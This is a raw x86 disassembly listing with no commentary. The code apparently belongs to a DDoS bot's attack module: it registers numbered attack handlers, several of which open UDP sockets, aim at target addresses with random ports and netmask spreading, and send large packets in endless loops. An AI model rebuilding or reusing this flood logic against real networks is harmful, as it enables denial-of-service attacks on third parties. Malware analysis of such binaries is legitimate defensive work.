804831b: 74 47 je 0x8048364 | |
804831d: 8a 07 mov (%edi),%al | |
804831f: 88 44 24 23 mov %al,0x23(%esp) | |
8048323: 84 c0 test %al,%al | |
8048325: 0f 85 a6 00 00 00 jne 0x80483d1 | |
804832b: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%esp) | |
8048332: 00 | |
8048333: e8 7e 42 00 00 call 0x804c5b6 | |
8048338: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804833e: 53 push %ebx | |
804833f: 53 push %ebx | |
8048340: 8b 4c 24 2c mov 0x2c(%esp),%ecx | |
8048344: 51 push %ecx | |
8048345: 8b 54 24 38 mov 0x38(%esp),%edx | |
8048349: 52 push %edx | |
804834a: 8b 44 24 48 mov 0x48(%esp),%eax | |
804834e: 50 push %eax | |
804834f: 8b 44 24 2c mov 0x2c(%esp),%eax | |
8048353: 50 push %eax | |
8048354: 31 c0 xor %eax,%eax | |
8048356: 8a 44 24 2f mov 0x2f(%esp),%al | |
804835a: 50 push %eax | |
804835b: 55 push %ebp | |
804835c: e8 2f fe ff ff call 0x8048190 | |
8048361: 83 c4 20 add $0x20,%esp | |
8048364: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048368: 85 c0 test %eax,%eax | |
804836a: 74 10 je 0x804837c | |
804836c: 83 ec 0c sub $0xc,%esp | |
804836f: 8b 44 24 44 mov 0x44(%esp),%eax | |
8048373: 50 push %eax | |
8048374: e8 bc 52 00 00 call 0x804d635 | |
8048379: 83 c4 10 add $0x10,%esp | |
804837c: 8b 44 24 24 mov 0x24(%esp),%eax | |
8048380: 85 c0 test %eax,%eax | |
8048382: 0f 84 dc fe ff ff je 0x8048264 | |
8048388: 31 c0 xor %eax,%eax | |
804838a: 8a 44 24 23 mov 0x23(%esp),%al | |
804838e: 85 c0 test %eax,%eax | |
8048390: 7e 2b jle 0x80483bd | |
8048392: bb 01 00 00 00 mov $0x1,%ebx | |
8048397: 8d 70 01 lea 0x1(%eax),%esi | |
804839a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
80483a0: 8b 54 24 24 mov 0x24(%esp),%edx | |
80483a4: 8b 44 da f8 mov -0x8(%edx,%ebx,8),%eax | |
80483a8: 85 c0 test %eax,%eax | |
80483aa: 74 0c je 0x80483b8 | |
80483ac: 83 ec 0c sub $0xc,%esp | |
80483af: 50 push %eax | |
80483b0: e8 80 52 00 00 call 0x804d635 | |
80483b5: 83 c4 10 add $0x10,%esp | |
80483b8: 43 inc %ebx | |
80483b9: 39 f3 cmp %esi,%ebx | |
80483bb: 75 e3 jne 0x80483a0 | |
80483bd: 8b 5c 24 24 mov 0x24(%esp),%ebx | |
80483c1: 89 5c 24 50 mov %ebx,0x50(%esp) | |
80483c5: 83 c4 3c add $0x3c,%esp | |
80483c8: 5b pop %ebx | |
80483c9: 5e pop %esi | |
80483ca: 5f pop %edi | |
80483cb: 5d pop %ebp | |
80483cc: e9 64 52 00 00 jmp 0x804d635 | |
80483d1: 31 d2 xor %edx,%edx | |
80483d3: 50 push %eax | |
80483d4: 50 push %eax | |
80483d5: 6a 08 push $0x8 | |
80483d7: 8a 54 24 2f mov 0x2f(%esp),%dl | |
80483db: 89 54 24 18 mov %edx,0x18(%esp) | |
80483df: 52 push %edx | |
80483e0: e8 ff 4b 00 00 call 0x804cfe4 | |
80483e5: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
80483e9: 89 44 24 34 mov %eax,0x34(%esp) | |
80483ed: 89 5c 24 3c mov %ebx,0x3c(%esp) | |
80483f1: 83 c4 10 add $0x10,%esp | |
80483f4: 85 db test %ebx,%ebx | |
80483f6: 0f 8e 37 ff ff ff jle 0x8048333 | |
80483fc: 83 7c 24 30 01 cmpl $0x1,0x30(%esp) | |
8048401: 0f 84 5d ff ff ff je 0x8048364 | |
8048407: 8b 74 24 24 mov 0x24(%esp),%esi | |
804840b: 8a 47 01 mov 0x1(%edi),%al | |
804840e: 88 46 04 mov %al,0x4(%esi) | |
8048411: 83 7c 24 30 02 cmpl $0x2,0x30(%esp) | |
8048416: 0f 84 48 ff ff ff je 0x8048364 | |
804841c: 8a 47 02 mov 0x2(%edi),%al | |
804841f: 31 db xor %ebx,%ebx | |
8048421: 8b 74 24 30 mov 0x30(%esp),%esi | |
8048425: 88 c3 mov %al,%bl | |
8048427: 83 ee 03 sub $0x3,%esi | |
804842a: 88 44 24 2b mov %al,0x2b(%esp) | |
804842e: 39 de cmp %ebx,%esi | |
8048430: 0f 8c 2e ff ff ff jl 0x8048364 | |
8048436: 8b 54 24 24 mov 0x24(%esp),%edx | |
804843a: 83 c7 03 add $0x3,%edi | |
804843d: 89 54 24 34 mov %edx,0x34(%esp) | |
8048441: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp) | |
8048448: 00 | |
8048449: eb 53 jmp 0x804849e | |
804844b: 90 nop | |
804844c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048450: 89 f1 mov %esi,%ecx | |
8048452: 29 d9 sub %ebx,%ecx | |
8048454: 0f 84 0a ff ff ff je 0x8048364 | |
804845a: 31 c0 xor %eax,%eax | |
804845c: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
8048460: 8a 44 24 2b mov 0x2b(%esp),%al | |
8048464: 8b 74 24 24 mov 0x24(%esp),%esi | |
8048468: 83 f9 01 cmp $0x1,%ecx | |
804846b: 8d 1c de lea (%esi,%ebx,8),%ebx | |
804846e: 8d 14 38 lea (%eax,%edi,1),%edx | |
8048471: 89 5c 24 34 mov %ebx,0x34(%esp) | |
8048475: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
8048479: 8a 02 mov (%edx),%al | |
804847b: 88 44 de 04 mov %al,0x4(%esi,%ebx,8) | |
804847f: 0f 84 df fe ff ff je 0x8048364 | |
8048485: 8a 42 01 mov 0x1(%edx),%al | |
8048488: 31 db xor %ebx,%ebx | |
804848a: 8d 71 fe lea -0x2(%ecx),%esi | |
804848d: 88 c3 mov %al,%bl | |
804848f: 88 44 24 2b mov %al,0x2b(%esp) | |
8048493: 39 de cmp %ebx,%esi | |
8048495: 0f 8c c9 fe ff ff jl 0x8048364 | |
804849b: 8d 7a 02 lea 0x2(%edx),%edi | |
804849e: 50 push %eax | |
804849f: 50 push %eax | |
80484a0: 8d 43 01 lea 0x1(%ebx),%eax | |
80484a3: 6a 01 push $0x1 | |
80484a5: 50 push %eax | |
80484a6: e8 39 4b 00 00 call 0x804cfe4 | |
80484ab: 8b 54 24 44 mov 0x44(%esp),%edx | |
80484af: 83 c4 0c add $0xc,%esp | |
80484b2: 89 02 mov %eax,(%edx) | |
80484b4: 53 push %ebx | |
80484b5: 57 push %edi | |
80484b6: 50 push %eax | |
80484b7: e8 a4 37 00 00 call 0x804bc60 | |
80484bc: 8b 44 24 2c mov 0x2c(%esp),%eax | |
80484c0: 40 inc %eax | |
80484c1: 89 44 24 2c mov %eax,0x2c(%esp) | |
80484c5: 83 c4 10 add $0x10,%esp | |
80484c8: 8b 44 24 0c mov 0xc(%esp),%eax | |
80484cc: 39 44 24 1c cmp %eax,0x1c(%esp) | |
80484d0: 0f 85 7a ff ff ff jne 0x8048450 | |
80484d6: e9 58 fe ff ff jmp 0x8048333 | |
80484db: 90 nop | |
80484dc: 90 nop | |
80484dd: 90 nop | |
80484de: 90 nop | |
80484df: 90 nop | |
80484e0: 57 push %edi | |
80484e1: 56 push %esi | |
80484e2: 53 push %ebx | |
80484e3: 83 ec 04 sub $0x4,%esp | |
80484e6: 8a 54 24 14 mov 0x14(%esp),%dl | |
80484ea: 8b 5c 24 18 mov 0x18(%esp),%ebx | |
80484ee: 81 e2 ff 00 00 00 and $0xff,%edx | |
80484f4: 8b 7c 24 20 mov 0x20(%esp),%edi | |
80484f8: 8a 44 24 1c mov 0x1c(%esp),%al | |
80484fc: 89 d6 mov %edx,%esi | |
80484fe: 85 d2 test %edx,%edx | |
8048500: 74 23 je 0x8048525 | |
8048502: 88 44 24 03 mov %al,0x3(%esp) | |
8048506: 3a 43 04 cmp 0x4(%ebx),%al | |
8048509: 74 21 je 0x804852c | |
804850b: 8d 53 08 lea 0x8(%ebx),%edx | |
804850e: 31 c9 xor %ecx,%ecx | |
8048510: eb 0e jmp 0x8048520 | |
8048512: 8a 42 04 mov 0x4(%edx),%al | |
8048515: 89 d3 mov %edx,%ebx | |
8048517: 83 c2 08 add $0x8,%edx | |
804851a: 38 44 24 03 cmp %al,0x3(%esp) | |
804851e: 74 0c je 0x804852c | |
8048520: 41 inc %ecx | |
8048521: 39 ce cmp %ecx,%esi | |
8048523: 75 ed jne 0x8048512 | |
8048525: 89 f8 mov %edi,%eax | |
8048527: 59 pop %ecx | |
8048528: 5b pop %ebx | |
8048529: 5e pop %esi | |
804852a: 5f pop %edi | |
804852b: c3 ret | |
804852c: 8b 03 mov (%ebx),%eax | |
804852e: 85 c0 test %eax,%eax | |
8048530: 74 f3 je 0x8048525 | |
8048532: 89 44 24 14 mov %eax,0x14(%esp) | |
8048536: 5b pop %ebx | |
8048537: 5b pop %ebx | |
8048538: 5e pop %esi | |
8048539: 5f pop %edi | |
804853a: e9 f8 40 00 00 jmp 0x804c637 | |
804853f: 90 nop | |
8048540: 57 push %edi | |
8048541: 56 push %esi | |
8048542: 53 push %ebx | |
8048543: 83 ec 04 sub $0x4,%esp | |
8048546: 8a 54 24 14 mov 0x14(%esp),%dl | |
804854a: 8b 5c 24 18 mov 0x18(%esp),%ebx | |
804854e: 81 e2 ff 00 00 00 and $0xff,%edx | |
8048554: 8b 7c 24 20 mov 0x20(%esp),%edi | |
8048558: 8a 44 24 1c mov 0x1c(%esp),%al | |
804855c: 89 d6 mov %edx,%esi | |
804855e: 85 d2 test %edx,%edx | |
8048560: 74 23 je 0x8048585 | |
8048562: 88 44 24 03 mov %al,0x3(%esp) | |
8048566: 3a 43 04 cmp 0x4(%ebx),%al | |
8048569: 74 21 je 0x804858c | |
804856b: 8d 53 08 lea 0x8(%ebx),%edx | |
804856e: 31 c9 xor %ecx,%ecx | |
8048570: eb 0e jmp 0x8048580 | |
8048572: 8a 42 04 mov 0x4(%edx),%al | |
8048575: 89 d3 mov %edx,%ebx | |
8048577: 83 c2 08 add $0x8,%edx | |
804857a: 38 44 24 03 cmp %al,0x3(%esp) | |
804857e: 74 0c je 0x804858c | |
8048580: 41 inc %ecx | |
8048581: 39 ce cmp %ecx,%esi | |
8048583: 75 ed jne 0x8048572 | |
8048585: 89 f8 mov %edi,%eax | |
8048587: 5e pop %esi | |
8048588: 5b pop %ebx | |
8048589: 5e pop %esi | |
804858a: 5f pop %edi | |
804858b: c3 ret | |
804858c: 8b 03 mov (%ebx),%eax | |
804858e: 85 c0 test %eax,%eax | |
8048590: 74 f3 je 0x8048585 | |
8048592: c7 44 24 18 0a 00 00 movl $0xa,0x18(%esp) | |
8048599: 00 | |
804859a: 89 44 24 14 mov %eax,0x14(%esp) | |
804859e: 5f pop %edi | |
804859f: 5b pop %ebx | |
80485a0: 5e pop %esi | |
80485a1: 5f pop %edi | |
80485a2: e9 09 37 00 00 jmp 0x804bcb0 | |
80485a7: 90 nop | |
80485a8: 90 nop | |
80485a9: 90 nop | |
80485aa: 90 nop | |
80485ab: 90 nop | |
80485ac: 90 nop | |
80485ad: 90 nop | |
80485ae: 90 nop | |
80485af: 90 nop | |
80485b0: 53 push %ebx | |
80485b1: 83 ec 10 sub $0x10,%esp | |
80485b4: 6a 08 push $0x8 | |
80485b6: 6a 01 push $0x1 | |
80485b8: e8 27 4a 00 00 call 0x804cfe4 | |
80485bd: 89 c3 mov %eax,%ebx | |
80485bf: c6 40 04 01 movb $0x1,0x4(%eax) | |
80485c3: c7 00 40 87 04 08 movl $0x8048740,(%eax) | |
80485c9: 58 pop %eax | |
80485ca: 31 c0 xor %eax,%eax | |
80485cc: a0 bc f0 04 08 mov 0x804f0bc,%al | |
80485d1: 5a pop %edx | |
80485d2: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
80485d9: 50 push %eax | |
80485da: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
80485df: 50 push %eax | |
80485e0: e8 f3 4a 00 00 call 0x804d0d8 | |
80485e5: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
80485eb: 31 c9 xor %ecx,%ecx | |
80485ed: 88 d1 mov %dl,%cl | |
80485ef: 42 inc %edx | |
80485f0: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
80485f5: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
80485f8: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
80485fe: 59 pop %ecx | |
80485ff: 5b pop %ebx | |
8048600: 6a 08 push $0x8 | |
8048602: 6a 01 push $0x1 | |
8048604: e8 db 49 00 00 call 0x804cfe4 | |
8048609: 89 c3 mov %eax,%ebx | |
804860b: c6 40 04 02 movb $0x2,0x4(%eax) | |
804860f: c7 00 f0 89 04 08 movl $0x80489f0,(%eax) | |
8048615: 58 pop %eax | |
8048616: 31 c0 xor %eax,%eax | |
8048618: a0 bc f0 04 08 mov 0x804f0bc,%al | |
804861d: 5a pop %edx | |
804861e: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
8048625: 50 push %eax | |
8048626: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
804862b: 50 push %eax | |
804862c: e8 a7 4a 00 00 call 0x804d0d8 | |
8048631: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
8048637: 31 c9 xor %ecx,%ecx | |
8048639: 88 d1 mov %dl,%cl | |
804863b: 42 inc %edx | |
804863c: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
8048641: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
8048644: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
804864a: 59 pop %ecx | |
804864b: 5b pop %ebx | |
804864c: 6a 08 push $0x8 | |
804864e: 6a 01 push $0x1 | |
8048650: e8 8f 49 00 00 call 0x804cfe4 | |
8048655: 89 c3 mov %eax,%ebx | |
8048657: c6 40 04 03 movb $0x3,0x4(%eax) | |
804865b: c7 00 a0 8c 04 08 movl $0x8048ca0,(%eax) | |
8048661: 58 pop %eax | |
8048662: 31 c0 xor %eax,%eax | |
8048664: a0 bc f0 04 08 mov 0x804f0bc,%al | |
8048669: 5a pop %edx | |
804866a: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
8048671: 50 push %eax | |
8048672: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
8048677: 50 push %eax | |
8048678: e8 5b 4a 00 00 call 0x804d0d8 | |
804867d: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
8048683: 31 c9 xor %ecx,%ecx | |
8048685: 88 d1 mov %dl,%cl | |
8048687: 42 inc %edx | |
8048688: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
804868d: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
8048690: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
8048696: 59 pop %ecx | |
8048697: 5b pop %ebx | |
8048698: 6a 08 push $0x8 | |
804869a: 6a 01 push $0x1 | |
804869c: e8 43 49 00 00 call 0x804cfe4 | |
80486a1: 89 c3 mov %eax,%ebx | |
80486a3: c6 40 04 04 movb $0x4,0x4(%eax) | |
80486a7: c7 00 10 96 04 08 movl $0x8049610,(%eax) | |
80486ad: 58 pop %eax | |
80486ae: 31 c0 xor %eax,%eax | |
80486b0: a0 bc f0 04 08 mov 0x804f0bc,%al | |
80486b5: 5a pop %edx | |
80486b6: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
80486bd: 50 push %eax | |
80486be: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
80486c3: 50 push %eax | |
80486c4: e8 0f 4a 00 00 call 0x804d0d8 | |
80486c9: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
80486cf: 31 c9 xor %ecx,%ecx | |
80486d1: 88 d1 mov %dl,%cl | |
80486d3: 42 inc %edx | |
80486d4: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
80486d9: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
80486dc: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
80486e2: 59 pop %ecx | |
80486e3: 5b pop %ebx | |
80486e4: 6a 08 push $0x8 | |
80486e6: 6a 01 push $0x1 | |
80486e8: e8 f7 48 00 00 call 0x804cfe4 | |
80486ed: 89 c3 mov %eax,%ebx | |
80486ef: c6 40 04 05 movb $0x5,0x4(%eax) | |
80486f3: c7 00 70 90 04 08 movl $0x8049070,(%eax) | |
80486f9: 58 pop %eax | |
80486fa: 31 c0 xor %eax,%eax | |
80486fc: a0 bc f0 04 08 mov 0x804f0bc,%al | |
8048701: 5a pop %edx | |
8048702: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
8048709: 50 push %eax | |
804870a: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
804870f: 50 push %eax | |
8048710: e8 c3 49 00 00 call 0x804d0d8 | |
8048715: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
804871b: 31 c9 xor %ecx,%ecx | |
804871d: 88 d1 mov %dl,%cl | |
804871f: 42 inc %edx | |
8048720: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
8048725: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
8048728: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
804872e: b8 01 00 00 00 mov $0x1,%eax | |
8048733: 83 c4 18 add $0x18,%esp | |
8048736: 5b pop %ebx | |
8048737: c3 ret | |
8048738: 90 nop | |
8048739: 90 nop | |
804873a: 90 nop | |
804873b: 90 nop | |
804873c: 90 nop | |
804873d: 90 nop | |
804873e: 90 nop | |
804873f: 90 nop | |
8048740: 55 push %ebp | |
8048741: 57 push %edi | |
8048742: 56 push %esi | |
8048743: 53 push %ebx | |
8048744: 83 ec 44 sub $0x44,%esp | |
8048747: 8a 44 24 58 mov 0x58(%esp),%al | |
804874b: 8b 5c 24 64 mov 0x64(%esp),%ebx | |
804874f: 88 c2 mov %al,%dl | |
8048751: 88 44 24 1b mov %al,0x1b(%esp) | |
8048755: 81 e2 ff 00 00 00 and $0xff,%edx | |
804875b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi | |
8048760: 89 54 24 1c mov %edx,0x1c(%esp) | |
8048764: 6a 04 push $0x4 | |
8048766: 52 push %edx | |
8048767: e8 78 48 00 00 call 0x804cfe4 | |
804876c: 89 c5 mov %eax,%ebp | |
804876e: 58 pop %eax | |
804876f: 5a pop %edx | |
8048770: 6a 04 push $0x4 | |
8048772: 8b 44 24 20 mov 0x20(%esp),%eax | |
8048776: 50 push %eax | |
8048777: e8 68 48 00 00 call 0x804cfe4 | |
804877c: 89 f1 mov %esi,%ecx | |
804877e: 89 44 24 1c mov %eax,0x1c(%esp) | |
8048782: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8048788: 68 ff ff 00 00 push $0xffff | |
804878d: 89 cf mov %ecx,%edi | |
804878f: 6a 07 push $0x7 | |
8048791: 53 push %ebx | |
8048792: 51 push %ecx | |
8048793: e8 a8 fd ff ff call 0x8048540 | |
8048798: 66 89 44 24 3c mov %ax,0x3c(%esp) | |
804879d: 83 c4 20 add $0x20,%esp | |
80487a0: 68 ff ff 00 00 push $0xffff | |
80487a5: 6a 06 push $0x6 | |
80487a7: 53 push %ebx | |
80487a8: 57 push %edi | |
80487a9: e8 92 fd ff ff call 0x8048540 | |
80487ae: 68 00 02 00 00 push $0x200 | |
80487b3: 89 c6 mov %eax,%esi | |
80487b5: 6a 00 push $0x0 | |
80487b7: 53 push %ebx | |
80487b8: 57 push %edi | |
80487b9: e8 82 fd ff ff call 0x8048540 | |
80487be: 66 89 44 24 40 mov %ax,0x40(%esp) | |
80487c3: 83 c4 20 add $0x20,%esp | |
80487c6: 6a 01 push $0x1 | |
80487c8: 6a 01 push $0x1 | |
80487ca: 53 push %ebx | |
80487cb: 57 push %edi | |
80487cc: e8 6f fd ff ff call 0x8048540 | |
80487d1: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp) | |
80487d8: 00 | |
80487d9: 88 44 24 33 mov %al,0x33(%esp) | |
80487dd: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp) | |
80487e4: 00 | |
80487e5: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp) | |
80487ec: 00 | |
80487ed: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp) | |
80487f4: 00 | |
80487f5: 83 c4 10 add $0x10,%esp | |
80487f8: 66 83 fe ff cmp $0xffff,%si | |
80487fc: 0f 84 7f 01 00 00 je 0x8048981 | |
8048802: 66 c1 ce 08 ror $0x8,%si | |
8048806: 66 89 74 24 1e mov %si,0x1e(%esp) | |
804880b: 8a 44 24 13 mov 0x13(%esp),%al | |
804880f: 25 ff 00 00 00 and $0xff,%eax | |
8048814: 89 44 24 18 mov %eax,0x18(%esp) | |
8048818: 85 c0 test %eax,%eax | |
804881a: 0f 8e 0e 01 00 00 jle 0x804892e | |
8048820: 8b 54 24 14 mov 0x14(%esp),%edx | |
8048824: 8b 74 24 54 mov 0x54(%esp),%esi | |
8048828: 42 inc %edx | |
8048829: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp) | |
8048830: 00 | |
8048831: 89 54 24 04 mov %edx,0x4(%esp) | |
8048835: e9 c1 00 00 00 jmp 0x80488fb | |
804883a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
8048840: 8b 44 24 1c mov 0x1c(%esp),%eax | |
8048844: 66 c1 c8 08 ror $0x8,%ax | |
8048848: 66 89 46 02 mov %ax,0x2(%esi) | |
804884c: 53 push %ebx | |
804884d: 6a 11 push $0x11 | |
804884f: 6a 02 push $0x2 | |
8048851: 6a 02 push $0x2 | |
8048853: e8 c7 3f 00 00 call 0x804c81f | |
8048858: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804885c: 89 c2 mov %eax,%edx | |
804885e: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048862: 83 c4 10 add $0x10,%esp | |
8048865: 83 fa ff cmp $0xffffffff,%edx | |
8048868: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4) | |
804886c: 0f 84 1e 01 00 00 je 0x8048990 | |
8048872: 66 8b 44 24 1e mov 0x1e(%esp),%ax | |
8048877: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp) | |
804887e: 66 89 44 24 2e mov %ax,0x2e(%esp) | |
8048883: 8d 44 24 2c lea 0x2c(%esp),%eax | |
8048887: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp) | |
804888e: 00 | |
804888f: 51 push %ecx | |
8048890: 6a 10 push $0x10 | |
8048892: 50 push %eax | |
8048893: 52 push %edx | |
8048894: e8 c3 3d 00 00 call 0x804c65c | |
8048899: 83 c4 10 add $0x10,%esp | |
804889c: 80 7e 14 1f cmpb $0x1f,0x14(%esi) | |
80488a0: 77 2a ja 0x80488cc | |
80488a2: 8b 5e 10 mov 0x10(%esi),%ebx | |
80488a5: e8 a6 2a 00 00 call 0x804b350 | |
80488aa: 66 c1 cb 08 ror $0x8,%bx | |
80488ae: c1 cb 10 ror $0x10,%ebx | |
80488b1: 66 c1 cb 08 ror $0x8,%bx | |
80488b5: 31 c9 xor %ecx,%ecx | |
80488b7: 8a 4e 14 mov 0x14(%esi),%cl | |
80488ba: d3 e8 shr %cl,%eax | |
80488bc: 01 d8 add %ebx,%eax | |
80488be: 66 c1 c8 08 ror $0x8,%ax | |
80488c2: c1 c8 10 ror $0x10,%eax | |
80488c5: 66 c1 c8 08 ror $0x8,%ax | |
80488c9: 89 46 04 mov %eax,0x4(%esi) | |
80488cc: 52 push %edx | |
80488cd: 6a 10 push $0x10 | |
80488cf: 56 push %esi | |
80488d0: 83 c6 18 add $0x18,%esi | |
80488d3: 8b 54 24 34 mov 0x34(%esp),%edx | |
80488d7: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
80488db: 8b 44 91 fc mov -0x4(%ecx,%edx,4),%eax | |
80488df: 50 push %eax | |
80488e0: e8 a2 3d 00 00 call 0x804c687 | |
80488e5: 8b 44 24 38 mov 0x38(%esp),%eax | |
80488e9: 8b 7c 24 14 mov 0x14(%esp),%edi | |
80488ed: 40 inc %eax | |
80488ee: 89 44 24 38 mov %eax,0x38(%esp) | |
80488f2: 83 c4 10 add $0x10,%esp | |
80488f5: 3b 7c 24 28 cmp 0x28(%esp),%edi | |
80488f9: 74 3a je 0x8048935 | |
80488fb: 57 push %edi | |
80488fc: 57 push %edi | |
80488fd: 6a 01 push $0x1 | |
80488ff: 68 ff ff 00 00 push $0xffff | |
8048904: e8 db 46 00 00 call 0x804cfe4 | |
8048909: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
804890d: 83 c4 10 add $0x10,%esp | |
8048910: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4) | |
8048914: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp) | |
804891a: 0f 85 20 ff ff ff jne 0x8048840 | |
8048920: e8 2b 2a 00 00 call 0x804b350 | |
8048925: 66 89 46 02 mov %ax,0x2(%esi) | |
8048929: e9 1e ff ff ff jmp 0x804884c | |
804892e: 8b 44 24 14 mov 0x14(%esp),%eax | |
8048932: 8d 78 01 lea 0x1(%eax),%edi | |
8048935: 8b 44 24 18 mov 0x18(%esp),%eax | |
8048939: 85 c0 test %eax,%eax | |
804893b: 90 nop | |
804893c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048940: 7e fe jle 0x8048940 | |
8048942: 8b 74 24 20 mov 0x20(%esp),%esi | |
8048946: 81 e6 ff ff 00 00 and $0xffff,%esi | |
804894c: 80 7c 24 23 00 cmpb $0x0,0x23(%esp) | |
8048951: 75 45 jne 0x8048998 | |
8048953: bb 01 00 00 00 mov $0x1,%ebx | |
8048958: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax | |
804895c: 68 00 40 00 00 push $0x4000 | |
8048961: 56 push %esi | |
8048962: 50 push %eax | |
8048963: 8b 54 24 18 mov 0x18(%esp),%edx | |
8048967: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax | |
804896b: 43 inc %ebx | |
804896c: 50 push %eax | |
804896d: e8 fc 3d 00 00 call 0x804c76e | |
8048972: 83 c4 10 add $0x10,%esp | |
8048975: 39 df cmp %ebx,%edi | |
8048977: 75 df jne 0x8048958 | |
8048979: 8b 44 24 18 mov 0x18(%esp),%eax | |
804897d: 85 c0 test %eax,%eax | |
804897f: eb bf jmp 0x8048940 | |
8048981: e8 ca 29 00 00 call 0x804b350 | |
8048986: 66 89 44 24 1e mov %ax,0x1e(%esp) | |
804898b: e9 7b fe ff ff jmp 0x804880b | |
8048990: 83 c4 3c add $0x3c,%esp | |
8048993: 5b pop %ebx | |
8048994: 5e pop %esi | |
8048995: 5f pop %edi | |
8048996: 5d pop %ebp | |
8048997: c3 ret | |
8048998: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp) | |
804899f: 00 | |
80489a0: 89 74 24 08 mov %esi,0x8(%esp) | |
80489a4: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
80489a8: 50 push %eax | |
80489a9: 50 push %eax | |
80489aa: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx | |
80489ae: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
80489b2: 51 push %ecx | |
80489b3: 53 push %ebx | |
80489b4: e8 d7 2a 00 00 call 0x804b490 | |
80489b9: 68 00 40 00 00 push $0x4000 | |
80489be: 56 push %esi | |
80489bf: 53 push %ebx | |
80489c0: 8b 44 24 40 mov 0x40(%esp),%eax | |
80489c4: 8b 54 24 28 mov 0x28(%esp),%edx | |
80489c8: 8b 54 82 fc mov -0x4(%edx,%eax,4),%edx | |
80489cc: 52 push %edx | |
80489cd: e8 9c 3d 00 00 call 0x804c76e | |
80489d2: 8b 44 24 44 mov 0x44(%esp),%eax | |
80489d6: 40 inc %eax | |
80489d7: 89 44 24 44 mov %eax,0x44(%esp) | |
80489db: 83 c4 20 add $0x20,%esp | |
80489de: 39 7c 24 24 cmp %edi,0x24(%esp) | |
80489e2: 0f 84 4d ff ff ff je 0x8048935 | |
80489e8: eb ba jmp 0x80489a4 | |
80489ea: 90 nop | |
80489eb: 90 nop | |
80489ec: 90 nop | |
80489ed: 90 nop | |
80489ee: 90 nop | |
80489ef: 90 nop | |
80489f0: 55 push %ebp | |
80489f1: 57 push %edi | |
80489f2: 56 push %esi | |
80489f3: 53 push %ebx | |
80489f4: 83 ec 44 sub $0x44,%esp | |
80489f7: 8a 44 24 58 mov 0x58(%esp),%al | |
80489fb: 8b 5c 24 64 mov 0x64(%esp),%ebx | |
80489ff: 88 c2 mov %al,%dl | |
8048a01: 88 44 24 1b mov %al,0x1b(%esp) | |
8048a05: 81 e2 ff 00 00 00 and $0xff,%edx | |
8048a0b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi | |
8048a10: 89 54 24 1c mov %edx,0x1c(%esp) | |
8048a14: 6a 04 push $0x4 | |
8048a16: 52 push %edx | |
8048a17: e8 c8 45 00 00 call 0x804cfe4 | |
8048a1c: 89 c5 mov %eax,%ebp | |
8048a1e: 58 pop %eax | |
8048a1f: 5a pop %edx | |
8048a20: 6a 04 push $0x4 | |
8048a22: 8b 44 24 20 mov 0x20(%esp),%eax | |
8048a26: 50 push %eax | |
8048a27: e8 b8 45 00 00 call 0x804cfe4 | |
8048a2c: 89 f1 mov %esi,%ecx | |
8048a2e: 89 44 24 1c mov %eax,0x1c(%esp) | |
8048a32: 81 e1 ff 00 00 00 and $0xff,%ecx | |
